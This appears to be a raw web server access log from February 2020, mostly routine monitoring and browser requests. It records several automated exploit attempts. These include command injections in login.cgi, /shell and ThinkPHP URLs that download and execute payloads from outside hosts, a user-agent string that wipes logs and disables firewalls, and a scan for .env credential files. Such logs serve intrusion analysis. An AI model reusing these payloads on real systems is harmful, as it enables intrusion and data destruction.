89.249.2.67 - - [18/Feb/2020:17:01:53 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/51.0.2704.103 Safari/537.36"
212.91.246.72 - - [18/Feb/2020:17:02:39 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [18/Feb/2020:17:03:39 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
189.110.221.86 - - [18/Feb/2020:17:03:52 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/52.0.2743.116 Safari/537.36"
212.91.246.72 - - [18/Feb/2020:17:04:39 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [18/Feb/2020:17:05:39 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [18/Feb/2020:17:06:39 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [18/Feb/2020:17:07:39 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [18/Feb/2020:17:08:39 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [18/Feb/2020:17:09:39 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
78.186.153.65 - - [18/Feb/2020:17:10:07 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://134.209.36.155/bin%20-O%20-%3E%20/tmp/hk;sh%20/tmp/hk%27$ HTTP/1.1" 400 329 "-" "Hakai/2.0;rm -rf /tmp/* /var/* /var/run/* /var/tmp/*;rm -rf /var/log/wtmp;rm -rf ~/.bash_history;history -c;history -w;rm -rf /tmp/*;history -c;rm -rf /bin/netstat;history -w;pkill -9 busybox;pkill -9 perl;service iptables stop;/sbin/iptables -F;/sbin/iptables -X;service firewalld stop;"
212.91.246.72 - - [18/Feb/2020:17:10:39 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [18/Feb/2020:17:11:39 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
78.186.153.65 - - [18/Feb/2020:17:12:31 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://134.209.36.155/bin%20-O%20-%3E%20/tmp/hk;sh%20/tmp/hk%27$ HTTP/1.1" 400 329 "-" "Hakai/2.0;rm -rf /tmp/* /var/* /var/run/* /var/tmp/*;rm -rf /var/log/wtmp;rm -rf ~/.bash_history;history -c;history -w;rm -rf /tmp/*;history -c;rm -rf /bin/netstat;history -w;pkill -9 busybox;pkill -9 perl;service iptables stop;/sbin/iptables -F;/sbin/iptables -X;service firewalld stop;"
212.91.246.72 - - [18/Feb/2020:17:12:39 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [18/Feb/2020:17:13:39 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [18/Feb/2020:17:14:39 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
85.105.2.9 - - [18/Feb/2020:17:15:24 +0100] "GET /shell?cd+/tmp;rm+-rf+*;wget+http://192.168.1.1:8088/Mozi.a;chmod+777+Mozi.a;/tmp/Mozi.a+jaws HTTP/1.1" 404 310 "-" "Hello, world"
212.91.246.72 - - [18/Feb/2020:17:15:39 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [18/Feb/2020:17:16:39 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
31.8.45.67 - - [18/Feb/2020:17:16:53 +0100] "GET / HTTP/1.1" 400 329 "-" "-"
78.165.52.249 - - [18/Feb/2020:17:17:05 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://134.209.36.155/bin%20-O%20-%3E%20/tmp/hk;sh%20/tmp/hk%27$ HTTP/1.1" 400 329 "-" "Hakai/2.0;rm -rf /tmp/* /var/* /var/run/* /var/tmp/*;rm -rf /var/log/wtmp;rm -rf ~/.bash_history;history -c;history -w;rm -rf /tmp/*;history -c;rm -rf /bin/netstat;history -w;pkill -9 busybox;pkill -9 perl;service iptables stop;/sbin/iptables -F;/sbin/iptables -X;service firewalld stop;"
212.91.246.72 - - [18/Feb/2020:17:17:39 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
80.44.180.62 - - [18/Feb/2020:17:18:16 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/51.0.2704.103 Safari/537.36"
212.91.246.72 - - [18/Feb/2020:17:18:39 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [18/Feb/2020:17:19:39 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [18/Feb/2020:17:20:39 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [18/Feb/2020:17:21:39 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [18/Feb/2020:17:22:39 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [18/Feb/2020:17:23:39 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
71.6.167.142 - - [18/Feb/2020:17:23:43 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/41.0.2228.0 Safari/537.36"
71.6.167.142 - - [18/Feb/2020:17:23:43 +0100] "GET /robots.txt HTTP/1.1" 404 315 "-" "-"
71.6.167.142 - - [18/Feb/2020:17:23:44 +0100] "GET /sitemap.xml HTTP/1.1" 404 316 "-" "-"
71.6.167.142 - - [18/Feb/2020:17:23:44 +0100] "GET /.well-known/security.txt HTTP/1.1" 404 329 "-" "-"
71.6.167.142 - - [18/Feb/2020:17:23:45 +0100] "GET /favicon.ico HTTP/1.1" 404 316 "-" "python-requests/2.10.0"
212.91.246.72 - - [18/Feb/2020:17:24:39 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [18/Feb/2020:17:25:39 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [18/Feb/2020:17:26:39 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
134.35.155.161 - - [18/Feb/2020:17:26:56 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://134.209.36.155/bin%20-O%20-%3E%20/tmp/hk;sh%20/tmp/hk%27$ HTTP/1.1" 400 329 "-" "Hakai/2.0;rm -rf /tmp/* /var/* /var/run/* /var/tmp/*;rm -rf /var/log/wtmp;rm -rf ~/.bash_history;history -c;history -w;rm -rf /tmp/*;history -c;rm -rf /bin/netstat;history -w;pkill -9 busybox;pkill -9 perl;service iptables stop;/sbin/iptables -F;/sbin/iptables -X;service firewalld stop;"
88.148.108.154 - - [18/Feb/2020:17:27:17 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/52.0.2743.116 Safari/537.36"
212.91.246.72 - - [18/Feb/2020:17:27:39 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [18/Feb/2020:17:28:39 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [18/Feb/2020:17:29:39 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [18/Feb/2020:17:30:39 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [18/Feb/2020:17:31:39 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [18/Feb/2020:17:32:39 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [18/Feb/2020:17:33:39 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
171.104.164.16 - - [18/Feb/2020:17:34:22 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
212.91.246.72 - - [18/Feb/2020:17:34:39 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [18/Feb/2020:17:35:39 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
202.70.74.57 - - [18/Feb/2020:17:36:07 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/52.0.2743.116 Safari/537.36"
212.91.246.72 - - [18/Feb/2020:17:36:39 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [18/Feb/2020:17:37:39 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [18/Feb/2020:17:38:39 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
178.22.112.58 - - [18/Feb/2020:17:39:06 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_11_6) AppleWebKit/601.7.7 (KHTML, like Gecko) Version/9.1.2 Safari/601.7.7"
212.91.246.72 - - [18/Feb/2020:17:39:39 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [18/Feb/2020:17:40:39 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [18/Feb/2020:17:41:39 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [18/Feb/2020:17:42:39 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
121.178.8.198 - - [18/Feb/2020:17:42:50 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://104.168.176.25/d%20-O%20-%3E%20/tmp/ff;chmod%20+x%20/tmp/ff;sh%20/tmp/ff%27$ HTTP/1.1" 400 329 "-" "DEMONS/2.0"
121.178.8.198 - - [18/Feb/2020:17:42:53 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://104.168.176.25/d%20-O%20-%3E%20/tmp/ff;chmod%20+x%20/tmp/ff;sh%20/tmp/ff%27$ HTTP/1.1" 400 329 "-" "DEMONS/2.0"
121.178.8.198 - - [18/Feb/2020:17:42:59 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://104.168.176.25/d%20-O%20-%3E%20/tmp/ff;chmod%20+x%20/tmp/ff;sh%20/tmp/ff%27$ HTTP/1.1" 400 329 "-" "DEMONS/2.0"
121.178.8.198 - - [18/Feb/2020:17:43:11 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://104.168.176.25/d%20-O%20-%3E%20/tmp/ff;chmod%20+x%20/tmp/ff;sh%20/tmp/ff%27$ HTTP/1.1" 400 329 "-" "DEMONS/2.0"
121.178.8.198 - - [18/Feb/2020:17:43:35 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://104.168.176.25/d%20-O%20-%3E%20/tmp/ff;chmod%20+x%20/tmp/ff;sh%20/tmp/ff%27$ HTTP/1.1" 400 329 "-" "DEMONS/2.0"
212.91.246.72 - - [18/Feb/2020:17:43:39 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [18/Feb/2020:17:44:39 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
151.75.131.1 - - [18/Feb/2020:17:44:50 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/52.0.2743.116 Safari/537.36"
151.75.131.1 - - [18/Feb/2020:17:44:50 +0100] "GET / HTTP/1.1" 400 329 "-" "-"
170.233.46.208 - - [18/Feb/2020:17:44:55 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/52.0.2743.116 Safari/537.36"
212.91.246.72 - - [18/Feb/2020:17:45:39 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [18/Feb/2020:17:46:39 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [18/Feb/2020:17:47:39 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [18/Feb/2020:17:48:39 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [18/Feb/2020:17:49:39 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [18/Feb/2020:17:50:39 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [18/Feb/2020:17:51:39 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [18/Feb/2020:17:52:39 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [18/Feb/2020:17:53:39 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [18/Feb/2020:17:54:39 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [18/Feb/2020:17:55:39 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
124.43.8.138 - - [18/Feb/2020:17:55:54 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
212.91.246.72 - - [18/Feb/2020:17:56:39 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [18/Feb/2020:17:57:39 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [18/Feb/2020:17:58:39 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [18/Feb/2020:17:59:39 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [18/Feb/2020:18:00:39 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [18/Feb/2020:18:01:39 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
193.57.40.38 - - [18/Feb/2020:18:02:00 +0100] "GET /?a=fetch&content=<php>die(@md5(HelloThinkCMF))</php> HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.108 Safari/537.36"
212.91.246.72 - - [18/Feb/2020:18:02:39 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
120.193.219.42 - - [18/Feb/2020:18:03:12 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
212.91.246.72 - - [18/Feb/2020:18:03:39 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [18/Feb/2020:18:04:39 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [18/Feb/2020:18:05:39 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [18/Feb/2020:18:06:39 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [18/Feb/2020:18:07:39 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [18/Feb/2020:18:08:39 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [18/Feb/2020:18:09:39 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [18/Feb/2020:18:10:39 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [18/Feb/2020:18:11:39 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [18/Feb/2020:18:12:39 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [18/Feb/2020:18:13:39 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
123.254.209.170 - - [18/Feb/2020:18:14:03 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
212.91.246.72 - - [18/Feb/2020:18:14:39 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [18/Feb/2020:18:15:39 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [18/Feb/2020:18:16:39 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [18/Feb/2020:18:17:39 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [18/Feb/2020:18:18:39 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
103.212.90.10 - - [18/Feb/2020:18:19:25 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/52.0.2743.116 Safari/537.36"
212.91.246.72 - - [18/Feb/2020:18:19:39 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [18/Feb/2020:18:20:39 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [18/Feb/2020:18:21:39 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [18/Feb/2020:18:22:39 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
81.214.220.73 - - [18/Feb/2020:18:23:30 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://134.209.36.155/bin%20-O%20-%3E%20/tmp/hk;sh%20/tmp/hk%27$ HTTP/1.1" 400 329 "-" "Hakai/2.0;rm -rf /tmp/* /var/* /var/run/* /var/tmp/*;rm -rf /var/log/wtmp;rm -rf ~/.bash_history;history -c;history -w;rm -rf /tmp/*;history -c;rm -rf /bin/netstat;history -w;pkill -9 busybox;pkill -9 perl;service iptables stop;/sbin/iptables -F;/sbin/iptables -X;service firewalld stop;"
212.91.246.72 - - [18/Feb/2020:18:23:39 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [18/Feb/2020:18:24:39 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [18/Feb/2020:18:25:39 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [18/Feb/2020:18:26:39 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [18/Feb/2020:18:27:39 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [18/Feb/2020:18:28:39 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
177.68.37.54 - - [18/Feb/2020:18:28:41 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/52.0.2743.116 Safari/537.36"
212.91.246.72 - - [18/Feb/2020:18:29:39 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [18/Feb/2020:18:30:39 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [18/Feb/2020:18:31:39 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.85.91.19 - - [18/Feb/2020:18:32:29 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
212.91.246.72 - - [18/Feb/2020:18:32:39 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [18/Feb/2020:18:33:39 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
185.234.216.198 - - [18/Feb/2020:18:34:15 +0100] "GET /shared/.env HTTP/1.1" 404 316 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:73.0) Gecko/20100101 Firefox/73.0"
185.234.216.198 - - [18/Feb/2020:18:34:15 +0100] "GET /~dev/.env HTTP/1.1" 404 314 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:73.0) Gecko/20100101 Firefox/73.0"
185.234.216.198 - - [18/Feb/2020:18:34:15 +0100] "GET /core/.env HTTP/1.1" 404 314 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:73.0) Gecko/20100101 Firefox/73.0"
185.234.216.198 - - [18/Feb/2020:18:34:15 +0100] "GET /api/.env HTTP/1.1" 404 313 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:73.0) Gecko/20100101 Firefox/73.0"
185.234.216.198 - - [18/Feb/2020:18:34:15 +0100] "GET /cp/.env HTTP/1.1" 404 312 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:73.0) Gecko/20100101 Firefox/73.0"
185.234.216.198 - - [18/Feb/2020:18:34:15 +0100] "GET /admin/.env HTTP/1.1" 404 315 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:73.0) Gecko/20100101 Firefox/73.0"
185.234.216.198 - - [18/Feb/2020:18:34:15 +0100] "GET /web/.env HTTP/1.1" 404 313 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:73.0) Gecko/20100101 Firefox/73.0"
185.234.216.198 - - [18/Feb/2020:18:34:15 +0100] "GET /admin-app/.env HTTP/1.1" 404 319 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:73.0) Gecko/20100101 Firefox/73.0"
185.234.216.198 - - [18/Feb/2020:18:34:15 +0100] "GET /sources/.env HTTP/1.1" 404 317 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:73.0) Gecko/20100101 Firefox/73.0"
185.234.216.198 - - [18/Feb/2020:18:34:15 +0100] "GET /.env HTTP/1.1" 404 309 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:73.0) Gecko/20100101 Firefox/73.0"
185.234.216.198 - - [18/Feb/2020:18:34:15 +0100] "GET /dev/.env HTTP/1.1" 404 313 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:73.0) Gecko/20100101 Firefox/73.0"
185.234.216.198 - - [18/Feb/2020:18:34:15 +0100] "GET /apps/.env HTTP/1.1" 404 314 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:73.0) Gecko/20100101 Firefox/73.0"
